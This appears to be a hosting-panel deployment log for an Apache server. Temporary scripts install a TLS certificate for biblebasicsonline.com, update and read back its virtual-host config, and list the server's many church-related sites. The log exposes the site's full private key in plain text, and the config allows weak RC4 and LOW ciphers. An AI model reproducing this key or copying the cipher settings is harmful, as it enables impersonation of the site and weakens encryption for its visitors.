O/ro3CkBKQKBgBnH9pxpvLdn8MeGUHK2HCPAdlu0gH/Ev7ufGhsep5uJ+BiLXiDO
cDJr12p0Ye/z0ZXNMJJRmo9jG02iQOqfmTYKkN4I+SFn285YabGBNC+Wv9Gg0v9u
gXvj9zrggK7c+P4Od238odMdjg7hf/rQH+tiFM7Yb6Tco6pfXDf1TU7hAoGBALcb
Cb0Qml7MYey6FsFSNzdtUQ9o9jwdo/hsEBoRvX2W6ZtERfxHNImTV2PnuOV4GWXK
9j99HdtH/QjnqtAJidnjAL+j1UoGGpi6E6wZdsUYkVrPzuGn1NoAV2bH7WXyXGyT
W+x0354vLOaB/Bsr20dTj6gDPHz47KLH01dO3lRBAoGBAJGpkuV94vhaMEPujjXH
MjmG37myjjKEYostAJRKK3T1qMHw35wPkbFICZFI/RtBIuya1kSj1trUD5yqWk2P
Rb4gjMgO3y+8Svw10qgbvwGm8oTIY/YJEd99caQDz4Ox46iHsfreIlWsuP1JAOSW
tZASnyRZC6y2DBUKZrdWE56b
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:00:55:
chmod 755 /tmp/pkp503617; /tmp/pkp503617; rm /tmp/pkp503617
2025-11-10 06:00:55:
dir=/etc/ssl/certs
2025-11-10 06:00:55:
PUT: /tmp/pkp677488
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:00:55:
chmod 755 /tmp/pkp677488; /tmp/pkp677488; rm /tmp/pkp677488
2025-11-10 06:00:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:55:
PUT: /tmp/pkp225047
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi
2025-11-10 06:00:55:
chmod 755 /tmp/pkp225047; /tmp/pkp225047; rm /tmp/pkp225047
2025-11-10 06:00:55:
2025-11-10 06:00:55:
PUT: /tmp/pkp419539
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:00:55:
chmod 755 /tmp/pkp419539; /tmp/pkp419539; rm /tmp/pkp419539
2025-11-10 06:00:55:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55:
PUT: /tmp/pkp517792
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:00:56:
chmod 755 /tmp/pkp517792; /tmp/pkp517792; rm /tmp/pkp517792
2025-11-10 06:00:56:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:00:56:
PUT: /tmp/pkp288191
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:56:
chmod 755 /tmp/pkp288191; /tmp/pkp288191; rm /tmp/pkp288191
2025-11-10 06:00:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 1467
<VirtualHost *:80>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName biblebasicsonline.com
ServerAlias www.biblebasicsonline.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
DocumentRoot /var/www/biblebasicsonline_www
<Directory /var/www/biblebasicsonline_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/biblebasicsonline/www_secure_access.log combined
ErrorLog /var/log/apache2/biblebasicsonline/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:56:
PUT: /tmp/pkp957274
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:56:
chmod 755 /tmp/pkp957274; /tmp/pkp957274; rm /tmp/pkp957274
2025-11-10 06:00:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt 5398
0d:2e:a0:59:66:6b:13:f4:4a:c1:60:a4:d1:34:c0:46
-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBvb9cLI26uQv/6B/hsN2IyA4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjI0WhcNMjYwMjA4MDUwMjIzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSeESr1BhXAklaqMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/f
ous6WJV0QAfzih35hVscPb7hO6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjR
eRBga9PJwPaCgpqWi3aKzGK9fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYE
Glv8FQJjfA9FEMs+cv9D972LaKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkC
to/6W8wFxRyM/a8eUtrlG9K30mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0D
kPoN09Yf0zm2+A4JgBpt7bxp/bkYVPKdAgMBAAGjggI/MIICOzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGgssQ4YYmN/nOmnoYtQ3fqbOurBMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB
3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFpj9QAABAMARzBFAiATeRiFvsgjp29U
KJTsHCXE+Yjjqg+W5PQTv+MSMyGLtwIhAM5naCBJmktWuYxXJO7eToJWHthCwqK/
KuW3N0cAiQe4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa
bFpjxwAABAMARjBEAiAl+ip4gUNAAQDxLFaBb8r4CxS0uv19jejD7/rnK3c8cgIg
PbvKzjDVgvU8Pc9OEdLZ9Z1ybunTDTEA4Wl7dyOeA84wDQYJKoZIhvcNAQELBQAD
ggEBALyMV8KaHbRQMMPoS2dKGKr4Xkx0INXhEgGDjGtdmtc9gZdwUGqS7WQp8wSZ
QGAcefftUwBan7JUzgY4b909Yszdv+69pSzoNzdY3mEv+MOh5jHr7Kz+lGI821ys
YwBlUuo0vxC4AE98sh0xmf7Q4UfeWh+bGedv7HYTlvBDOeR3c5K6FUQGiwK1SsMb
4qxHB/eMWVSDTzJlP3PYGCXhCJlXhL6fjSs+60FYoL5m7w37ycdlzflUDqjMMywf
dYK2upA7vpM1tWt+dxEf0BOTGG0fpK0hXpBF0237ig5SKUHqKCfcKpBZFMDm8XXe
hQl2r6THmwH2wzlgUt7tYDQRIew=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSeESr1BhXAkla
qMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/fous6WJV0QAfzih35hVscPb7h
O6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjReRBga9PJwPaCgpqWi3aKzGK9
fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYEGlv8FQJjfA9FEMs+cv9D972L
aKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkCto/6W8wFxRyM/a8eUtrlG9K3
0mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0DkPoN09Yf0zm2+A4JgBpt7bxp
/bkYVPKdAgMBAAECggEACMe3pattcIPJ55xO5xzfYz+7gbDMsnGfVzMT/Ey09JPG
NUnqreQs9tlnEsILShQ5wLEsWvJzQJRa2C6S4rvrVkVvcVidZBq8PZ3UfXMLlkIQ
ZqYA0R29/a8dPciBx1LjdcJZDJq40UWBgQIo4wnDZP2LvZ2yqXV7YKLT7Wmi1Ipq
4VvfafTnKxdEq7QcqFXmXxyeylcJuV3qXsddN4jPPCua747lnW1wMthXS/GZrs3K
nv9mhEvzMAZRX0wxZdsvhNowNDBTo6g+USAY529bcmsPhqlvDCpZUcbTKDbpfcIh
I4qVpf6v8BuNN3ExOiGJcGggb3snLDLulI/5vSdDwQKBgQD13qLh6bDE3ghTHTR9
acEv2tNzvRoWP8IGg1ezb9wFbFEnxAxf1bfpM+yQroGAqVVLWomq2NfN2Haj0gz/
IAf1aXVxUQfWUFyeG7em/+n52dTND/eqOdmlAjPQAjgBGtEGiUtEZeqIeHG2Ewfo
wh0J6MLwssGc6yh+eT32hR0QVQKBgQDbJD5+whBNrE2b+ZVjyVyb5w6Iev8DkjH+
gRF+iAUocxMfEbIi/ivV/+4B3ab51W8ar69EC6gALUrXOBROfBAsMQsLk/A1Ffmi
+MPaXNbQ/FPdmQwDGSAigbVPGNDBIVWHH6Rx7DwT9zm77XZIEZuia75OQN8zmWun
O/ro3CkBKQKBgBnH9pxpvLdn8MeGUHK2HCPAdlu0gH/Ev7ufGhsep5uJ+BiLXiDO
cDJr12p0Ye/z0ZXNMJJRmo9jG02iQOqfmTYKkN4I+SFn285YabGBNC+Wv9Gg0v9u
gXvj9zrggK7c+P4Od238odMdjg7hf/rQH+tiFM7Yb6Tco6pfXDf1TU7hAoGBALcb
Cb0Qml7MYey6FsFSNzdtUQ9o9jwdo/hsEBoRvX2W6ZtERfxHNImTV2PnuOV4GWXK
9j99HdtH/QjnqtAJidnjAL+j1UoGGpi6E6wZdsUYkVrPzuGn1NoAV2bH7WXyXGyT
W+x0354vLOaB/Bsr20dTj6gDPHz47KLH01dO3lRBAoGBAJGpkuV94vhaMEPujjXH
MjmG37myjjKEYostAJRKK3T1qMHw35wPkbFICZFI/RtBIuya1kSj1trUD5yqWk2P
Rb4gjMgO3y+8Svw10qgbvwGm8oTIY/YJEd99caQDz4Ox46iHsfreIlWsuP1JAOSW
tZASnyRZC6y2DBUKZrdWE56b
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
